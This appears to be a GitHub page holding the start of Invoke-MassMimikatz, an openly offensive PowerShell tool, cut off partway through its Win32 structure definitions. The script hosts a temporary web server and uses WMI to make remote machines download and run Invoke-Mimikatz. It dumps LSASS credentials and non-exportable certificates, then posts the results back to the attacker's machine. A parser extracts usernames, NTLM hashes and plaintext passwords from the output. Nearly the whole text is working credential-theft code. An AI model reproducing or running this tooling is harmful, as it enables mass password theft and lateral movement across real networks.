Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
3084 lines (2579 sloc) 654 KB
<#
Functions to run Mimikatz on a mass number of machines
without using PSRemoting.
Utilizes PowerSploit's Invoke-Mimikatz:
https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1
as well as @obscuresec's quick webserver stub:
https://gist.github.com/obscuresec/71df69d828e6e05986e9#file-dirtywebserver-ps1
Original inspiration from @mubix's article at
http://carnal0wnage.attackresearch.com/2013/10/dumping-domains-worth-of-passwords-with.html
adaptation by @harmj0y
#>
# helper to parse out Mimikatz output
function Parse-Mimikatz {
[CmdletBinding()]
param(
[string]$raw
)
# msv
$results = $raw | Select-String -Pattern "(?s)(?<=msv :).*?(?=tspkg :)" -AllMatches | %{$_.matches} | %{$_.value}
if($results){
foreach($match in $results){
if($match.Contains("Domain")){
$lines = $match.split("`n")
foreach($line in $lines){
if ($line.Contains("Username")){
$username = $line.split(":")[1].trim()
}
elseif ($line.Contains("Domain")){
$domain = $line.split(":")[1].trim()
}
elseif ($line.Contains("NTLM")){
$password = $line.split(":")[1].trim()
}
}
if ($password -and $($password -ne "(null)")){
$username+"/"+$domain+":"+$password
}
}
}
}
$results = $raw | Select-String -Pattern "(?s)(?<=tspkg :).*?(?=wdigest :)" -AllMatches | %{$_.matches} | %{$_.value}
if($results){
foreach($match in $results){
if($match.Contains("Domain")){
$lines = $match.split("`n")
foreach($line in $lines){
if ($line.Contains("Username")){
$username = $line.split(":")[1].trim()
}
elseif ($line.Contains("Domain")){
$domain = $line.split(":")[1].trim()
}
elseif ($line.Contains("Password")){
$password = $line.split(":")[1].trim()
}
}
if ($password -and $($password -ne "(null)")){
$username+"/"+$domain+":"+$password
}
}
}
}
$results = $raw | Select-String -Pattern "(?s)(?<=wdigest :).*?(?=kerberos :)" -AllMatches | %{$_.matches} | %{$_.value}
if($results){
foreach($match in $results){
if($match.Contains("Domain")){
$lines = $match.split("`n")
foreach($line in $lines){
if ($line.Contains("Username")){
$username = $line.split(":")[1].trim()
}
elseif ($line.Contains("Domain")){
$domain = $line.split(":")[1].trim()
}
elseif ($line.Contains("Password")){
$password = $line.split(":")[1].trim()
}
}
if ($password -and $($password -ne "(null)")){
$username+"/"+$domain+":"+$password
}
}
}
}
$results = $raw | Select-String -Pattern "(?s)(?<=kerberos :).*?(?=ssp :)" -AllMatches | %{$_.matches} | %{$_.value}
if($results){
foreach($match in $results){
if($match.Contains("Domain")){
$lines = $match.split("`n")
foreach($line in $lines){
if ($line.Contains("Username")){
$username = $line.split(":")[1].trim()
}
elseif ($line.Contains("Domain")){
$domain = $line.split(":")[1].trim()
}
elseif ($line.Contains("Password")){
$password = $line.split(":")[1].trim()
}
}
if ($password -and $($password -ne "(null)")){
$username+"/"+$domain+":"+$password
}
}
}
}
}
function Invoke-MassMimikatz {
<#
.SYNOPSIS
Runs Invoke-Mimikatz across multiple machines by throwing
up a temporary web server and using WMI to execute the
IEX download/invoker. The output is saved directly back to
the launching machine through the same webserver, parsed and
then returned on the pipeline.
Author: @gentilkiwi, @josephbialek, @harmj0y
License: BSD 3-Clause
.PARAMETER Hosts
Array of host names to run Invoke-MassMimikatz on,
passable on the pipeline.
.PARAMETER HostList
List of host names to run Invoke-MassMimikatz on.
.PARAMETER LocalIpAddress
Local IP address to use. Will try to determine if not specified.
.PARAMETER LocalPort
Local port to host the script on, defaults to 8080
.PARAMETER ServerSleep
Time to sleep the web server for output before shutting it down.
Default to 30 seconds.
.PARAMETER OutputFolder
Folder to pipe host outputs to. Defaults to 'MimikatzOutput'.
.PARAMETER FireWallRule
Add (and then remove) a firewall rule to allow access to the
specified port.
.PARAMETER Username
Username to execute code on the remote host with.
.PARAMETER Password
Password to execute code on the remote host with.
#>
[cmdletbinding()]
param(
[Parameter(Position=0,ValueFromPipeline=$true)]
[String[]]
$Hosts,
[String]
$HostList,
[String]
$LocalIpAddress,
[String]
$LocalPort="8080",
[Int]
$ServerSleep=30,
[String]
$OutputFolder="MimikatzOutput",
[Switch]
$FireWallRule,
[String]
$Username,
[String]
$Password
)
begin {
# script block to invoke over remote machines.
$WebserverScriptblock={
param($LocalPort, $OutputFolder)
$HostedScript =
@'
function Invoke-Mimikatz
{
<#
.SYNOPSIS
This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
dump credentials without ever writing the mimikatz binary to disk.
The script has a ComputerName parameter which allows it to be executed against multiple computers.
This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.
Function: Invoke-Mimikatz
Author: Joe Bialek, Twitter: @JosephBialek
Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi
License: http://creativecommons.org/licenses/by/3.0/fr/
Required Dependencies: Mimikatz (included)
Optional Dependencies: None
Version: 1.4
ReflectivePEInjection version: 1.1
Mimikatz version: 2.0 alpha (5/18/2014)
.DESCRIPTION
Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any
functionality provided with Mimikatz.
.PARAMETER DumpCreds
Switch: Use mimikatz to dump credentials out of LSASS.
.PARAMETER DumpCerts
Switch: Use mimikatz to export all private certificates (even if they are marked non-exportable).
.PARAMETER Command
Supply mimikatz a custom command line. This works exactly the same as running the mimikatz executable like this: mimikatz "privilege::debug exit" as an example.
.PARAMETER ComputerName
Optional, an array of computernames to run the script on.
.EXAMPLE
Execute mimikatz on the local computer to dump certificates.
Invoke-Mimikatz -DumpCerts
.EXAMPLE
Execute mimikatz on two remote computers to dump credentials.
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")
.EXAMPLE
Execute mimikatz on a remote computer with the custom command "privilege::debug exit" which simply requests debug privilege and exits
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"
.NOTES
This script was created by combining the Invoke-ReflectivePEInjection script written by Joe Bialek and the Mimikatz code written by Benjamin DELPY
Find Invoke-ReflectivePEInjection at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
Find mimikatz at: http://blog.gentilkiwi.com
.LINK
Blog: http://clymb3r.wordpress.com/
Benjamin DELPY blog: http://blog.gentilkiwi.com
Github repo: https://github.com/clymb3r/PowerShell
mimikatz Github repo: https://github.com/gentilkiwi/mimikatz
Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
#>
[CmdletBinding(DefaultParameterSetName="DumpCreds")]
Param(
[Parameter(Position = 0)]
[String[]]
$ComputerName,
[Parameter(ParameterSetName = "DumpCreds", Position = 1)]
[Switch]
$DumpCreds,
[Parameter(ParameterSetName = "DumpCerts", Position = 1)]
[Switch]
$DumpCerts,
[Parameter(ParameterSetName = "CustomCommand", Position = 1)]
[String]
$Command
)
Set-StrictMode -Version 2
$RemoteScriptBlock = {
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $true)]
[String]
$PEBytes64,
[Parameter(Position = 1, Mandatory = $true)]
[String]
$PEBytes32,
[Parameter(Position = 2, Mandatory = $false)]
[String]
$FuncReturnType,
[Parameter(Position = 3, Mandatory = $false)]
[Int32]
$ProcId,
[Parameter(Position = 4, Mandatory = $false)]
[String]
$ProcName,
[Parameter(Position = 5, Mandatory = $false)]
[String]
$ExeArgs
)
###################################
########## Win32 Stuff ##########
###################################
Function Get-Win32Types
{
$Win32Types = New-Object System.Object
#Define all the structures/enums that will be used
# This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
$Domain = [AppDomain]::CurrentDomain
$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
############ ENUM ############
#Enum MachineType
$TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
$TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
$TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
$MachineType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
#Enum MagicType
$TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
$MagicType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
#Enum SubSystemType
$TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
$SubSystemType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
#Enum DllCharacteristicsType
$TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
$TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
$TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
$TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
$TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
$DllCharacteristicsType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
########### STRUCT ###########
#Struct IMAGE_DATA_DIRECTORY
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
$IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
#Struct IMAGE_FILE_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
$IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
#Struct IMAGE_OPTIONAL_HEADER64
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
$IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
#Struct IMAGE_OPTIONAL_HEADER32
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
$IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
#Struct IMAGE_NT_HEADERS64
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
$IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
#Struct IMAGE_NT_HEADERS32
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
$IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
#Struct IMAGE_DOS_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
$TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
$e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
$e_resField.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
$e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
$e_res2Field.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
$IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
#Struct IMAGE_SECTION_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
$nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
$nameField.SetCustomAttribute($AttribBuilder)
